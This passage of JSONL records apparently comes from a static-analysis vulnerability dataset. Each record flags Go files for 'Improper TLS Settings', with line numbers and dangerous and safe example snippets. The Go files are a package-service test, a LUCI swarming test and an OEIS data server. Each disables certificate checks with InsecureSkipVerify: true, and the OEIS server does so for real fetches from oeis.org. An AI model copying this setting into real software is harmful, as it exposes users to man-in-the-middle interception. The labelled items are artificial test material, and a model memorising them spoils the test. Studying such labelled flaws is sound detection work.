2, 3, 0, time.UTC),\n\t},\n})\n\nfunc (s *WebpackSuite) SetUpSuite(c *C) {\n\tlog.SetOutput(os.Stderr)\n}\n\nfunc (s *WebpackSuite) SetUpTest(c *C) {\n\ts.dir = c.MkDir()\n\n\tvar err error\n\ts.backend, err = keyval.NewBolt(keyval.BoltConfig{Path: filepath.Join(s.dir, \"bolt.db\")})\n\tc.Assert(err, IsNil)\n\n\tobjects, err := fs.New(s.dir)\n\tc.Assert(err, IsNil)\n\n\ts.users, err = usersservice.New(\n\t\tusersservice.Config{Backend: s.backend})\n\tc.Assert(err, IsNil)\n\n\trole, err := users.NewAdminRole()\n\tc.Assert(err, IsNil)\n\terr = s.users.UpsertRole(role, storage.Forever)\n\tc.Assert(err, IsNil)\n\n\ts.adminUser = storage.NewUser(\"\", storage.UserSpecV2{\n\t\tPassword: \"\",\n\t\tType: storage.AdminUser,\n\t\tRoles: []string{role.GetName()},\n\t})\n\terr = s.users.UpsertUser(s.adminUser)\n\tc.Assert(err, IsNil)\n\n\tservice, err := localpack.New(localpack.Config{\n\t\tBackend: s.backend,\n\t\tUnpackedDir: filepath.Join(s.dir, defaults.UnpackedDir),\n\t\tClock: s.clock,\n\t\tObjects: objects,\n\t})\n\tc.Assert(err, IsNil)\n\twebHandler, err := NewHandler(Config{\n\t\tUsers: s.users,\n\t\tPackages: service,\n\t})\n\tc.Assert(err, IsNil)\n\tmux := http.NewServeMux()\n\tmux.Handle(\"/pack/\", webHandler)\n\n\t// It is important that we launch TLS server as authentication\n\t// middleware on the handler expects TLS connections.\n\ts.webServer = httptest.NewTLSServer(mux)\n\n\t// for regular test, let's be admins, so tests\n\t// won't be affected by auth issues\n\ts.suite.S, err = NewAuthenticatedClient(\n\t\ts.webServer.URL, s.adminUser.GetName(), \"admin-password\",\n\t\troundtrip.HTTPClient(s.webServer.Client()))\n\n\ts.suite.O = objects\n\ts.suite.C = s.clock\n}\n\nfunc (s *WebpackSuite) TestPermissionsCRUD(c *C) {\n\taccount, err := s.backend.CreateAccount(storage.Account{\n\t\tOrg: \"example.com\",\n\t})\n\tc.Assert(err, IsNil)\n\t// Create application package\n\trepo, err := s.backend.CreateRepository(storage.NewRepository(\"test\"))\n\tc.Assert(err, IsNil)\n\tapp, err := s.backend.CreatePackage(storage.Package{\n\t\tRepository: repo.GetName(),\n\t\tName: \"test\",\n\t\tVersion: \"0.0.1\",\n\t\tType: string(storage.AppUser),\n\t})\n\tc.Assert(err, IsNil)\n\n\tsite, err := s.backend.CreateSite(storage.Site{\n\t\tAccountID: account.ID,\n\t\tDomain: \"a.example.com\",\n\t\tCreated: s.clock.UtcNow(),\n\t\tApp: *app,\n\t})\n\tc.Assert(err, IsNil)\n\n\ts.agentUser = storage.NewUser(\"\", storage.UserSpecV2{\n\t\tClusterName: site.Domain,\n\t\tAccountID: account.ID,\n\t\tType: storage.AgentUser,\n\t})\n\terr = s.users.UpsertUser(s.agentUser)\n\tc.Assert(err, IsNil)\n\n\tkeys, err := s.backend.GetAPIKeys(s.agentUser.GetName())\n\tc.Assert(err, IsNil)\n\n\tnewService := func() *Client {\n\t\tservice, err := NewAuthenticatedClient(\n\t\t\ts.webServer.URL, s.agentUser.GetName(), keys[0].Token,\n\t\t\troundtrip.HTTPClient(&http.Client{\n\t\t\t\tTransport: &http.Transport{\n\t\t\t\t\tTLSClientConfig: &tls.Config{\n\t\t\t\t\t\tInsecureSkipVerify: true,\n\t\t\t\t\t}}}),\n\t\t)\n\t\tc.Assert(err, IsNil)\n\t\treturn service\n\t}\n\tservice := newService()\n\n\t// by default agents can't do anything\n\t_, err = service.GetRepositories()\n\tc.Assert(trace.IsAccessDenied(err), Equals, true, Commentf(\"%T\", err))\n\n\terr = service.UpsertRepository(\"a.example.com\", time.Time{})\n\tc.Assert(trace.IsAccessDenied(err), Equals, true, Commentf(\"%T\", err))\n\n\tpack1Data := []byte(\"hello, world!\")\n\tloc1 := loc.MustParseLocator(\"a.example.com/package-1:0.0.1\")\n\trepoA := \"a.example.com\"\n\n\t_, err = service.CreatePackage(\n\t\tloc1, bytes.NewBuffer(pack1Data))\n\tc.Assert(trace.IsAccessDenied(err), Equals, true, Commentf(\"%T\", err))\n\t// now create permissions to read packages from one repository\n\t// (e.g. agent)\n\tc.Assert(s.suite.S.UpsertRepository(repoA, time.Time{}), IsNil)\n\n\t_, err = s.suite.S.CreatePackage(\n\t\tloc1, bytes.NewBuffer(pack1Data))\n\n\trole, err := teleservices.NewRole(s.agentUser.GetName(), teleservices.RoleSpecV3{\n\t\tAllow: teleservices.RoleConditions{\n\t\t\tNamespaces: []string{defaults.Namespace},\n\t\t\tRules: []teleservices.Rule{\n\t\t\t\t{\n\t\t\t\t\tResources: []string{storage.KindRepository},\n\t\t\t\t\tWhere: storage.EqualsExpr{\n\t\t\t\t\t\tLeft: storage.ResourceNameExpr,\n\t\t\t\t\t\tRight: storage.StringExpr(\"a.example.com\"),\n\t\t\t\t\t}.String(),\n\t\t\t\t\tVerbs: []string{teleservices.VerbList, teleservices.VerbRead},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t})\n\tc.Assert(err, IsNil)\n\terr = s.users.UpsertRole(role, storage.Forever)\n\tc.Assert(err, IsNil)\n\troles := []string{role.GetName()}\n\terr = s.users.UpdateUser(s.agentUser.GetName(), storage.UpdateUserReq{Roles: &roles})\n\tc.Assert(err, IsNil)\n\n\t// now we can read this package\n\t_, err = service.ReadPackageEnvelope(loc1)\n\tc.Assert(err, IsNil)\n\n\t// but we can't do pretty much anything else\n\t_, err = service.GetRepositories()\n\tc.Assert(trace.IsAccessDenied(err), Equals, true, Commentf(\"%T\", err))\n\n\terr = service.UpsertRepository(repoA, time.Time{})\n\tc.Assert(trace.IsAccessDenied(err), Equals, true, Commentf(\"%T\", err))\n\n\t_, err = service.CreatePackage(\n\t\tloc1, bytes.NewBuffer(pack1Data))\n\tc.Assert(trace.IsAccessDenied(err), Equals, true, Commentf(\"%T\", err))\n\n\trole, err = users.NewClusterAgentRole(s.agentUser.GetName(), site.Domain)\n\tc.Assert(err, IsNil)\n\terr = s.users.UpsertRole(role, storage.Forever)\n\tc.Assert(err, IsNil)\n\troles = []string{role.GetName()}\n\terr = s.users.UpdateUser(s.agentUser.GetName(), storage.UpdateUserReq{Roles: &roles})\n\tc.Assert(err, IsNil)\n\n\tpack2Data := []byte(\"hello, world 2!\")\n\tloc2 := loc.MustParseLocator(\"a.example.com/package-2:0.0.2\")\n\n\t_, err = s.suite.S.CreatePackage(\n\t\tloc2, bytes.NewBuffer(pack2Data))\n\n\terr = s.suite.S.DeletePackage(loc2)\n\tc.Assert(err, IsNil)\n\n\t// the last step - unleash all the power!\n\trole, err = users.NewAdminRole()\n\tc.Assert(err, IsNil)\n\terr = s.users.UpsertRole(role, storage.Forever)\n\tc.Assert(err, IsNil)\n\ts.agentUser.SetRoles([]string{role.GetName()})\n\terr = s.users.UpsertUser(s.agentUser)\n\tc.Assert(err, IsNil)\n\n\tc.Assert(s.suite.S.UpsertRepository(\"b.example.com\", time.Time{}), IsNil)\n\n\trepos, err := s.suite.S.GetRepositories()\n\tc.Assert(err, IsNil)\n\t// sort to avoid ordering issues when querying the backend\n\tsort.Strings(repos)\n\tc.Assert(repos, DeepEquals, []string{\"a.example.com\", \"b.example.com\", \"test\"})\n\n\tc.Assert(s.suite.S.DeleteRepository(\"a.example.com\"), IsNil)\n}\n\nfunc (s *WebpackSuite) TearDownTest(c *C) {\n\ts.webServer.Close()\n\tc.Assert(s.backend.Close(), IsNil)\n}\n\nfunc (s *WebpackSuite) TestRepositoriesCRUD(c *C) {\n\ts.suite.RepositoriesCRUD(c)\n}\n\nfunc (s *WebpackSuite) TestPackagesCRUD(c *C) {\n\ts.suite.PackagesCRUD(c)\n}\n\nfunc (s *WebpackSuite) TestUpsertPackages(c *C) {\n\ts.suite.UpsertPackages(c)\n}\n\nfunc (s *WebpackSuite) TestDeleteRepository(c *C) {\n\ts.suite.DeleteRepository(c)\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 170, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "3e43219bff1351cdf7a4376920e7358fbb51d9832212c8d053b5a136e75055b0", "license": {"spdx": ["Apache-2.0"], "repo": "tapted/luci-go", "path": "resultdb/cmd/recorder/chromium/swarming_test.go", "repo_head_hexsha": "34c356cdbc843414d8a610f17b2720508e240296", "stack_hexsha": "ba9b21aa781a8d0a8cbb2d88be8c4c2fde8a34e9", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 50, "entireCode": "// Copyright 2019 The LUCI Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage chromium\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\n\ttspb \"github.com/golang/protobuf/ptypes/timestamp\"\n\t\"google.golang.org/grpc/codes\"\n\n\tswarmingAPI \"go.chromium.org/luci/common/api/swarming/swarming/v1\"\n\t\"go.chromium.org/luci/common/isolated\"\n\t\"go.chromium.org/luci/common/isolatedclient/isolatedfake\"\n\t\"go.chromium.org/luci/grpc/grpcutil\"\n\n\t\"go.chromium.org/luci/resultdb/cmd/recorder/chromium/formats\"\n\t\"go.chromium.org/luci/resultdb/internal\"\n\t\"go.chromium.org/luci/resultdb/pbutil\"\n\tpb \"go.chromium.org/luci/resultdb/proto/rpc/v1\"\n\n\t. \"github.com/smartystreets/goconvey/convey\"\n\t. \"go.chromium.org/luci/common/testing/assertions\"\n)\n\nfunc TestSwarming(t *testing.T) {\n\tt.Parallel()\n\tctx := context.Background()\n\tctx = internal.WithHTTPClient(ctx, &http.Client{\n\t\tTransport: &http.Transport{\n\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t\t},\n\t})\n\n\t// Set up fake isolatedserver.\n\tisoFake := isolatedfake.New()\n\tisoServer := httptest.NewServer(isoFake)\n\tdefer isoServer.Close()\n\n\tConvey(`deriveProtosForWriting correctly handles tasks`, t, func(c C) {\n\t\t// Inject isolated objects.\n\t\tfileDigest := isoFake.Inject(\"ns\", []byte(`\"f00df00d\"`))\n\t\tisoOut := isolated.Isolated{\n\t\t\tFiles: map[string]isolated.File{\"output.json\": {Digest: fileDigest}},\n\t\t}\n\t\tisoOutBytes, err := json.Marshal(isoOut)\n\t\tSo(err, ShouldBeNil)\n\t\toutputsDigest := isoFake.Inject(\"ns\", isoOutBytes)\n\n\t\tbadDigest := isoFake.Inject(\"ns\", []byte(\"baadf00d\"))\n\t\tisoOut = isolated.Isolated{\n\t\t\tFiles: map[string]isolated.File{\"artifact\": {Digest: badDigest}},\n\t\t}\n\t\tisoOutBytes, err = json.Marshal(isoOut)\n\t\tSo(err, ShouldBeNil)\n\t\tbadOutputsDigest := isoFake.Inject(\"ns\", isoOutBytes)\n\n\t\t// Set up fake swarming service.\n\t\tswarmingFake := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tresp := &swarmingAPI.SwarmingRpcsTaskResult{\n\t\t\t\tCreatedTs: \"2014-09-24T13:49:16.01\",\n\t\t\t\tTags: []string{\n\t\t\t\t\t\"bucket:bkt\",\n\t\t\t\t\t\"builder:blder\",\n\t\t\t\t\t\"test_suite:foo_unittests\",\n\t\t\t\t\t\"gn_target:chrome/tests:browser_tests\",\n\t\t\t\t},\n\t\t\t}\n\t\t\thasCompletion := true\n\n\t\t\tswitch r.URL.Path {\n\t\t\tcase fmt.Sprintf(\"/%stask/pending-task/result\", swarmingAPIEndpoint):\n\t\t\t\tresp.State = \"PENDING\"\n\t\t\t\thasCompletion = false\n\n\t\t\tcase fmt.Sprintf(\"/%stask/bot-died-task/result\", swarmingAPIEndpoint):\n\t\t\t\tresp.State = \"BOT_DIED\"\n\n\t\t\tcase fmt.Sprintf(\"/%stask/timed-out-task/result\", swarmingAPIEndpoint):\n\t\t\t\tresp.State = \"TIMED_OUT\"\n\n\t\t\tcase fmt.Sprintf(\"/%stask/timed-out-outputs-task/result\", swarmingAPIEndpoint):\n\t\t\t\tresp.State = \"TIMED_OUT\"\n\t\t\t\tresp.OutputsRef = &swarmingAPI.SwarmingRpcsFilesRef{\n\t\t\t\t\tIsolatedserver: isoServer.URL,\n\t\t\t\t\tNamespace: \"ns\",\n\t\t\t\t\tIsolated: string(outputsDigest),\n\t\t\t\t}\n\n\t\t\tcase fmt.Sprintf(\"/%stask/completed-no-outputs-task/result\", swarmingAPIEndpoint):\n\t\t\t\tresp.State = \"COMPLETED\"\n\n\t\t\tcase fmt.Sprintf(\"/%stask/completed-no-output-file-task/result\", swarmingAPIEndpoint):\n\t\t\t\tresp.State = \"COMPLETED\"\n\t\t\t\tresp.OutputsRef = &swarmingAPI.SwarmingRpcsFilesRef{\n\t\t\t\t\tIsolatedserver: isoServer.URL,\n\t\t\t\t\tNamespace: \"ns\",\n\t\t\t\t\tIsolated: string(badOutputsDigest),\n\t\t\t\t}\n\n\t\t\tcase fmt.Sprintf(\"/%stask/completed-outputs-task/result\", swarmingAPIEndpoint):\n\t\t\t\tresp.State = \"COMPLETED\"\n\t\t\t\tresp.OutputsRef = &swarmingAPI.SwarmingRpcsFilesRef{\n\t\t\t\t\tIsolatedserver: isoServer.URL,\n\t\t\t\t\tNamespace: \"ns\",\n\t\t\t\t\tIsolated: string(outputsDigest),\n\t\t\t\t}\n\n\t\t\tcase fmt.Sprintf(\"/%stask/no-completion-task/result\", swarmingAPIEndpoint):\n\t\t\t\tresp.State = \"BOT_DIED\"\n\t\t\t\thasCompletion = false\n\n\t\t\tdefault:\n\t\t\t\tresp.State = \"INVALID\"\n\t\t\t}\n\n\t\t\tif hasCompletion {\n\t\t\t\tresp.CompletedTs = \"2014-09-24T14:49:16.0\"\n\t\t\t}\n\n\t\t\terr := json.NewEncoder(w).Encode(resp)\n\t\t\tc.So(err, ShouldBeNil)\n\t\t}))\n\t\tdefer swarmingFake.Close()\n\n\t\tswarmSvc, err := GetSwarmSvc(internal.HTTPClient(ctx), swarmingFake.URL)\n\t\tSo(err, ShouldBeNil)\n\n\t\t// Define base request we'll be using.\n\t\tswarmingHostname := strings.TrimPrefix(swarmingFake.URL, \"https://\")\n\t\treq := &pb.DeriveInvocationRequest{\n\t\t\tSwarmingTask: &pb.DeriveInvocationRequest_SwarmingTask{\n\t\t\t\tHostname: swarmingHostname,\n\t\t\t},\n\t\t}\n\n\t\tConvey(`that are not finalized`, func() {\n\t\t\ttask, err := swarmSvc.Task.Result(\"pending-task\").Context(ctx).Do()\n\t\t\tSo(err, ShouldBeNil)\n\n\t\t\t_, _, err = DeriveProtosForWriting(ctx, task, req)\n\t\t\tSo(err, ShouldErrLike, \"unexpectedly incomplete\")\n\t\t})\n\n\t\tConvey(`that are finalized wih no outputs expected`, func() {\n\t\t\ttask, err := swarmSvc.Task.Result(\"bot-died-task\").Context(ctx).Do()\n\t\t\tSo(err, ShouldBeNil)\n\n\t\t\tinv, _, err := DeriveProtosForWriting(ctx, task, req)\n\t\t\tSo(err, ShouldBeNil)\n\t\t\tSo(inv, ShouldNotBeNil)\n\t\t\tSo(inv.State, ShouldEqual, pb.Invocation_INTERRUPTED)\n\t\t})\n\n\t\tConvey(`that are finalized and may or may not contain isolated outputs`, func() {\n\t\t\tConvey(`and don't`, func() {\n\t\t\t\ttask, err := swarmSvc.Task.Result(\"timed-out-task\").Context(ctx).Do()\n\t\t\t\tSo(err, ShouldBeNil)\n\n\t\t\t\tinv, _, err := DeriveProtosForWriting(ctx, task, req)\n\t\t\t\tSo(err, ShouldBeNil)\n\t\t\t\tSo(inv, ShouldNotBeNil)\n\t\t\t\tSo(inv.State, ShouldEqual, pb.Invocation_INTERRUPTED)\n\t\t\t})\n\n\t\t\tConvey(`and do`, func() {\n\t\t\t\ttask, err := swarmSvc.Task.Result(\"timed-out-outputs-task\").Context(ctx).Do()\n\t\t\t\tSo(err, ShouldBeNil)\n\n\t\t\t\t_, _, err = DeriveProtosForWriting(ctx, task, req)\n\t\t\t\tSo(err, ShouldErrLike, \"cannot unmarshal string into Go value\")\n\t\t\t})\n\t\t})\n\n\t\tConvey(`that are finalized and should contain outputs`, func() {\n\t\t\tConvey(`but don't`, func() {\n\t\t\t\ttask, err := swarmSvc.Task.Result(\"completed-no-outputs-task\").Context(ctx).Do()\n\t\t\t\tSo(err, ShouldBeNil)\n\n\t\t\t\t_, _, err = DeriveProtosForWriting(ctx, task, req)\n\t\t\t\tSo(err, ShouldErrLike, \"missing expected isolated outputs\")\n\t\t\t})\n\n\t\t\tConvey(`and does but outputs don't have expected file`, func() {\n\t\t\t\ttask, err := swarmSvc.Task.Result(\"completed-no-output-file-task\").Context(ctx).Do()\n\t\t\t\tSo(err, ShouldBeNil)\n\n\t\t\t\t_, _, err = DeriveProtosForWriting(ctx, task, req)\n\t\t\t\tSo(err, ShouldErrLike, \"missing expected output output.json in isolated outputs\")\n\t\t\t})\n\n\t\t\tConvey(`and do`, func() {\n\t\t\t\ttask, err := swarmSvc.Task.Result(\"completed-outputs-task\").Context(ctx).Do()\n\t\t\t\tSo(err, ShouldBeNil)\n\n\t\t\t\t_, _, err = DeriveProtosForWriting(ctx, task, req)\n\t\t\t\tSo(err, ShouldErrLike, \"cannot unmarshal string into Go value\")\n\t\t\t})\n\t\t})\n\n\t\tConvey(`that are invalid`, func() {\n\t\t\ttask, err := swarmSvc.Task.Result(\"no-completion-task\").Context(ctx).Do()\n\t\t\tSo(err, ShouldBeNil)\n\n\t\t\tinv, _, err := DeriveProtosForWriting(ctx, task, req)\n\t\t\tSo(err, ShouldBeNil)\n\t\t\tSo(inv.FinalizeTime, ShouldBeNil)\n\t\t})\n\t})\n\n\tConvey(`handles Swarming errors`, t, func() {\n\t\tswarmingFake := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tswitch r.URL.Path {\n\t\t\tcase fmt.Sprintf(\"/%stask/200-task/result\", swarmingAPIEndpoint):\n\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\tio.WriteString(w, `{\"outputs_ref\": {}}`)\n\t\t\tcase fmt.Sprintf(\"/%stask/5xx-task/result\", swarmingAPIEndpoint):\n\t\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\tdefault:\n\t\t\t\tw.WriteHeader(http.StatusNotFound)\n\t\t\t}\n\n\t\t}))\n\t\tdefer swarmingFake.Close()\n\n\t\tswarmSvc, err := GetSwarmSvc(http.DefaultClient, swarmingFake.URL)\n\t\tSo(err, ShouldBeNil)\n\n\t\tConvey(`does not error for 200`, func() {\n\t\t\t_, err := GetSwarmingTask(ctx, \"200-task\", swarmSvc)\n\t\t\tSo(err, ShouldBeNil)\n\t\t})\n\n\t\tConvey(`tags with gRPC NotFound for 404`, func() {\n\t\t\t_, err := GetSwarmingTask(ctx, \"404-task\", swarmSvc)\n\t\t\tSo(err, ShouldNotBeNil)\n\t\t\tSo(grpcutil.Code(err), ShouldEqual, codes.NotFound)\n\t\t})\n\n\t\tConvey(`tags with gRPC Internal for 5xx`, func() {\n\t\t\t_, err := GetSwarmingTask(ctx, \"5xx-task\", swarmSvc)\n\t\t\tSo(err, ShouldNotBeNil)\n\t\t\tSo(grpcutil.Code(err), ShouldEqual, codes.Internal)\n\t\t})\n\t})\n\n\tConvey(`Getting origin task`, t, func() {\n\t\tswarmingFake := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tvar resp string\n\t\t\tswitch r.URL.Path {\n\t\t\tcase fmt.Sprintf(\"/%stask/deduped-task/result\", swarmingAPIEndpoint):\n\t\t\t\tresp = `{\"task_id\": \"deduped-task\", \"deduped_from\" : \"first-task\", \"run_id\": \"123410\"}`\n\t\t\tcase fmt.Sprintf(\"/%stask/first-task/result\", swarmingAPIEndpoint):\n\t\t\t\tresp = `{\"task_id\": \"first-task\", \"run_id\": \"abcd12\"}`\n\t\t\tdefault:\n\t\t\t\tresp = `{}`\n\t\t\t}\n\n\t\t\tio.WriteString(w, resp)\n\t\t}))\n\t\tdefer swarmingFake.Close()\n\n\t\tswarmSvc, err := GetSwarmSvc(http.DefaultClient, swarmingFake.URL)\n\t\tSo(err, ShouldBeNil)\n\n\t\tConvey(`for non-deduped task`, func() {\n\t\t\ttask, err := swarmSvc.Task.Result(\"first-task\").Context(ctx).Do()\n\t\t\tSo(err, ShouldBeNil)\n\n\t\t\ttask, err = GetOriginTask(ctx, task, swarmSvc)\n\t\t\tSo(err, ShouldBeNil)\n\t\t\tSo(task.RunId, ShouldEqual, \"abcd12\")\n\t\t\tSo(task.TaskId, ShouldEqual, \"first-task\")\n\t\t})\n\n\t\tConvey(`for deduped task`, func() {\n\t\t\ttask, err := swarmSvc.Task.Result(\"deduped-task\").Context(ctx).Do()\n\t\t\tSo(err, ShouldBeNil)\n\n\t\t\ttask, err = GetOriginTask(ctx, task, swarmSvc)\n\t\t\tSo(err, ShouldBeNil)\n\t\t\tSo(task.RunId, ShouldEqual, \"abcd12\")\n\t\t\tSo(task.TaskId, ShouldEqual, \"first-task\")\n\t\t})\n\t})\n\n\tConvey(`Converting output JSON`, t, func() {\n\t\tConvey(`chooses JSON Test Results Format correctly`, func() {\n\t\t\tbuf := []byte(\n\t\t\t\t`{\n\t\t\t\t\t\"version\": 3,\n\t\t\t\t\t\"tests\": {\n\t\t\t\t\t\t\"c1\": {\n\t\t\t\t\t\t\t\"c2\": {\n\t\t\t\t\t\t\t\t\"t1.html\": {\n\t\t\t\t\t\t\t\t\t\"actual\": \"PASS PASS PASS\",\n\t\t\t\t\t\t\t\t\t\"expected\": \"PASS\",\n\t\t\t\t\t\t\t\t\t\"time\": 0.3,\n\t\t\t\t\t\t\t\t\t\"times\": [ 0.3, 0.2, 0.1 ]\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}`)\n\t\t\tinv := &pb.Invocation{}\n\t\t\t_, err := ConvertOutputJSON(ctx, inv, \"\", buf, nil)\n\t\t\tSo(err, ShouldBeNil)\n\t\t\tSo(inv, ShouldNotBeNil)\n\t\t\tSo(inv.Tags, ShouldResembleProto, pbutil.StringPairs(formats.OriginalFormatTagKey, formats.FormatJTR))\n\t\t})\n\n\t\tConvey(`chooses GTest format correctly`, func() {\n\t\t\tbuf := []byte(\n\t\t\t\t`{\n\t\t\t\t\t\"all_tests\": [ \"FooTest.TestDoBar\" ],\n\t\t\t\t\t\"per_iteration_data\": [{\n\t\t\t\t\t\t\"FooTest.TestDoBar\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"elapsed_time_ms\": 1837,\n\t\t\t\t\t\t\t\t\"losless_snippet\": true,\n\t\t\t\t\t\t\t\t\"output_snippet\": \"[ RUN ] FooTest.TestDoBar\",\n\t\t\t\t\t\t\t\t\"output_snippet_base64\": \"WyBSVU4gICAgICBdIEZvb1Rlc3QuVGVzdERvQmFy\",\n\t\t\t\t\t\t\t\t\"status\": \"CRASH\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t}]\n\t\t\t\t}`)\n\t\t\tinv := &pb.Invocation{}\n\t\t\t_, err := ConvertOutputJSON(ctx, inv, \"\", buf, nil)\n\t\t\tSo(err, ShouldBeNil)\n\t\t\tSo(inv, ShouldNotBeNil)\n\t\t\tSo(inv.Tags, ShouldResembleProto, pbutil.StringPairs(formats.OriginalFormatTagKey, formats.FormatGTest))\n\t\t})\n\n\t\tConvey(`errors on neither`, func() {\n\t\t\tbuf := []byte(\n\t\t\t\t`{\n\t\t\t\t\t\"all_tests\": \"not GTest format\",\n\t\t\t\t\t\"version\": \"not JSON Test Results format\"\n\t\t\t\t}`)\n\t\t\t_, err := ConvertOutputJSON(ctx, &pb.Invocation{}, \"\", buf, nil)\n\t\t\tSo(err, ShouldErrLike, `(and 1 other error)`)\n\t\t})\n\t})\n\n\tConvey(`converts swarming timestamps`, t, func() {\n\t\tConvey(`without trailing Z`, func() {\n\t\t\ttpb, err := convertSwarmingTs(\"2014-09-24T13:49:16.012345\")\n\t\t\tSo(err, ShouldBeNil)\n\t\t\tSo(tpb, ShouldResembleProto, &tspb.Timestamp{Seconds: 1411566556, Nanos: 12345e3})\n\t\t})\n\n\t\tConvey(`with trailing Z`, func() {\n\t\t\ttpb, err := convertSwarmingTs(\"2014-09-24T13:49:16.012345Z\")\n\t\t\tSo(err, ShouldBeNil)\n\t\t\tSo(tpb, ShouldResembleProto, &tspb.Timestamp{Seconds: 1411566556, Nanos: 12345e3})\n\t\t})\n\t})\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 50, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "ce9b4713838df18d88277f948254f0baee896f075abbb98603b9d4fe3dcd5829", "license": {"spdx": ["MIT"], "repo": "loda-lang/loda-server", "path": "cmd/oeis/oeis_server.go", "repo_head_hexsha": "6711704b4148580861f6082bd3489add7038e129", "stack_hexsha": "5700710cac692cd3694671cbf58b4457fa8ac0a1", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 30, "entireCode": "package main\n\nimport (\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"time\"\n\n\t\"github.com/gorilla/mux\"\n\t\"github.com/loda-lang/loda-api/cmd\"\n\t\"github.com/loda-lang/loda-api/util\"\n)\n\ntype OeisServer struct {\n\tdataDir string\n\tupdateInterval time.Duration\n\thttpClient *http.Client\n}\n\nconst OEIS_WEBSITE string = \"https://oeis.org/\"\n\nfunc NewOeisServer(dataDir string, updateInterval time.Duration) *OeisServer {\n\tutil.MustDirExist(dataDir)\n\thttpClient := &http.Client{\n\t\tTransport: &http.Transport{\n\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t\t},\n\t\tCheckRedirect: func(r *http.Request, via []*http.Request) error {\n\t\t\tr.URL.Opaque = r.URL.Path\n\t\t\treturn nil\n\t\t},\n\t}\n\treturn &OeisServer{\n\t\tdataDir: dataDir,\n\t\tupdateInterval: updateInterval,\n\t\thttpClient: httpClient,\n\t}\n}\n\nfunc newSummaryHandler(s *OeisServer, filename string) http.Handler {\n\tf := func(w http.ResponseWriter, req *http.Request) {\n\t\tif req.Method != http.MethodGet {\n\t\t\tutil.WriteHttpMethodNotAllowed(w)\n\t\t\treturn\n\t\t}\n\t\tdir := filepath.Join(s.dataDir, \"oeis\")\n\t\tos.MkdirAll(dir, os.ModePerm)\n\t\tpath := filepath.Join(dir, filename)\n\t\tif !util.IsFileRecent(path, s.updateInterval) {\n\t\t\terr := util.FetchFile(s.httpClient, OEIS_WEBSITE+filename, path)\n\t\t\tif err != nil {\n\t\t\t\tutil.WriteHttpInternalServerError(w)\n\t\t\t\tlog.Fatal(err)\n\t\t\t}\n\t\t}\n\t\tw.Header().Set(\"Content-Type\", \"application/octet-stream\")\n\t\tlog.Printf(\"Serving %s to %s\", filename, req.UserAgent())\n\t\thttp.ServeFile(w, req, path)\n\t}\n\treturn http.HandlerFunc(f)\n}\n\nfunc newBFileHandler(s *OeisServer) http.Handler {\n\tf := func(w http.ResponseWriter, req *http.Request) {\n\t\tif req.Method != http.MethodGet {\n\t\t\tutil.WriteHttpMethodNotAllowed(w)\n\t\t\treturn\n\t\t}\n\t\tparams := mux.Vars(req)\n\t\tid := params[\"id\"]\n\t\tif len(id) != 6 {\n\t\t\tutil.WriteHttpBadRequest(w)\n\t\t\treturn\n\t\t}\n\t\tdir := filepath.Join(s.dataDir, \"oeis\", \"b\", id[0:3])\n\t\tos.MkdirAll(dir, os.ModePerm)\n\t\tfilename := fmt.Sprintf(\"b%s.txt.gz\", id)\n\t\tpath := 